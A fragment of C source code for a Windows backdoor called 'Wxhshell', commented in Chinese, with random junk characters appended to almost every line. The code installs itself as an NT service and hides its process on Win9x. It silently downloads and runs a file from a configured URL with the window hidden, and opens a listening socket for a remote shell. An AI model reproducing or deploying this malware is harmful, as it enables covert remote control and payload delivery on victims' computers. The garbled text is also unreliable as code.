} PROCESS_BASIC_INFORMATION; fwf$Co+R:*
$p?aVO
PROCNTQSIP NtQueryInformationProcess; {!dVDf_
!I
Qck8Y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y.r+wc]
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h2""9aP!
5[u]E~Fl}
HANDLE hProcess; ,WB{i^TD
PROCESS_BASIC_INFORMATION pbi; (*)hD(C5
hfy_3} _
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "6?0h[uff
if(NULL == hInst ) return 0; /~f'}]W
NTI+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }~e%J(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H+Sz=tg5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3;s\OW`
.h4 \Y A
if (!NtQueryInformationProcess) return 0; Np0u,t%vs
~`:L?Jkb6H
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5N&?KA-
if(!hProcess) return 0; !=P1%
s}% M4
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l2P=R)@{
9 j9TPyC/2
CloseHandle(hProcess); 1HZO9cXJ
n#OB%@]<V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s+?zL~t
if(hProcess==NULL) return 0; pD#rnp>WWt
[mGLcg6Fw
HMODULE hMod; M1iS(x
char procName[255]; )f<z%:I+Z
unsigned long cbNeeded; m-"w0Rl1T
3x'|]Ns
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "5wa91*
*itUWpNhr
CloseHandle(hProcess); b?QoS|<e?
` v@m-j6
if(strstr(procName,"services")) return 1; // 以服务启动 Ge-vWf-RbB
'u |c
return 0; // 注册表启动 `,TzQ
} VZmLS 4E
ByNn
// 主模块 9e,0\J
int StartWxhshell(LPSTR lpCmdLine) JB[~;nLlC
{ )C]gld;8
SOCKET wsl; W+ko q*P
BOOL val=TRUE; Y^EcQzLw
int port=0; dvJM6W>^=
struct sockaddr_in door; >_"an~Ss
|Uh
if(wscfg.ws_autoins) Install(); "]b<uV
D!-g&HBTC
port=atoi(lpCmdLine); FZslv"F
<s<n
if(port<=0) port=wscfg.ws_port; S2GxV/E
9H`XeQ.
WSADATA data; sZ/v^xk
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]R f[y
zL `iK"N`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
MC.)2B7
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C
mWgcw1
door.sin_family = AF_INET; V7fq4O^:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ::{Q1F
door.sin_port = htons(port); 2?ez,*-[
UIN<2F_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hAnPXiD
closesocket(wsl);
>rKIG~P_
return 1; }.m<
} =QiI :|eRA
mQ26K~
if(listen(wsl,2) == INVALID_SOCKET) { (b-MMr
closesocket(wsl); +V046goX W
return 1; 9} M?P
} ?:I* 8Fj
Wxhshell(wsl); hVAn>_(
WSACleanup(); RF53J yt
"2$fi{9
return 0; ryUQU^v
Tc`=f'pP)4
} peuZ&yK+"
Ep3N&Imp
// 以NT服务方式启动 O$j7i:G'5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '3DXPR^B6
{ F {4bo$~>
DWORD status = 0; PB`Y
g
DWORD specificError = 0xfffffff; xvl#w
x'>9d
serviceStatus.dwServiceType = SERVICE_WIN32; 4`]^@"{
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,|H
`e^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D_^
nI:
serviceStatus.dwWin32ExitCode = 0; VfC <WVYiZ
serviceStatus.dwServiceSpecificExitCode = 0; A:N|\Mv2b
serviceStatus.dwCheckPoint = 0; O6a<`]F
serviceStatus.dwWaitHint = 0; _w+:Dv~*a
ipgC RHE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j8{i#;s!"
if (hServiceStatusHandle==0) return; qqr?!vem6
f:|1_ j
status = GetLastError(); 6J6BF%
if (status!=NO_ERROR) J76kkW`5
{ QIvVcfM^
serviceStatus.dwCurrentState = SERVICE_STOPPED; {e9@-
serviceStatus.dwCheckPoint = 0; JZ*/,|1}EC
serviceStatus.dwWaitHint = 0; ju8q?Nyhs
serviceStatus.dwWin32ExitCode = status; 6x[}g
serviceStatus.dwServiceSpecificExitCode = specificError; A _
N;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZC`wO%,
return; %wvdn
} yyRiP|hJ
'(yAfL 9}
serviceStatus.dwCurrentState = SERVICE_RUNNING; g:D>.lKd
serviceStatus.dwCheckPoint = 0; |[ k.ii6iO
serviceStatus.dwWaitHint = 0; ~>Fu5i $i
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L Mbn
} i8[t=6Rm@
0gy/:T
// 处理NT服务事件,比如:启动、停止 %D}kD6=
VOID WINAPI NTServiceHandler(DWORD fdwControl) |w1Bq
{ {V$|3m>:*
switch(fdwControl) D4-ifsP
{ JG!mc7
case SERVICE_CONTROL_STOP: Cc' 37~6~P
serviceStatus.dwWin32ExitCode = 0; 8 \ +T8(m
serviceStatus.dwCurrentState = SERVICE_STOPPED; G"U9E5O
serviceStatus.dwCheckPoint = 0; 7>Ouqxh21
serviceStatus.dwWaitHint = 0; K'Tm_"[u
{ kmsb hYM)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I{9QeRI
} &5spTMw8
return; O-~7b(Z
case SERVICE_CONTROL_PAUSE: &<5zqsNJ\a
serviceStatus.dwCurrentState = SERVICE_PAUSED; wh\}d4gN
break; Ng>5?F^v
case SERVICE_CONTROL_CONTINUE: YY((V@|K
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7BjJhs
break; (Hz^)5(~
case SERVICE_CONTROL_INTERROGATE: ZaDyg"Tw+
break; # 448-8x
}; C] eSizS.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); '}JhzKNj
} X!Mx5fg
B=yqW
// 标准应用程序主函数 N^ds
RYC
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V>)OpvoT#
{ t?ZI".>
c~$)UND^
// 获取操作系统版本 g\(G\ tnu>
OsIsNt=GetOsVer(); S)k*?dQ##R
GetModuleFileName(NULL,ExeFile,MAX_PATH); *1
]uH e
EXwo,?I
// 从命令行安装 >CgTs
if(strpbrk(lpCmdLine,"iI")) Install(); 1i"WDu*h3
5k3n\sqZA
// 下载执行文件 <fjX[l<Uz
if(wscfg.ws_downexe) { {3p4:*}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tl4V7!U@^z
WinExec(wscfg.ws_filenam,SW_HIDE); F/bT)QT<f
} ?m=N]!n
*,)Md[
if(!OsIsNt) { :q7Wy&ow
// 如果时win9x,隐藏进程并且设置为注册表启动 k\YG^I
HideProc(); a|x.C6Pe
StartWxhshell(lpCmdLine); axRV:w;E<
} [b<oDX#
else |zNX=mAV
if(StartFromService()) _AYK435>N
// 以服务方式启动 TJpD{p}
StartServiceCtrlDispatcher(DispatchTable); Xy&A~F
else %~JJ. &
// 普通方式启动 Ovt.!8
StartWxhshell(lpCmdLine); vNY{j7l/W
9J*\T(W
return 0; Gg3,:A_ w
}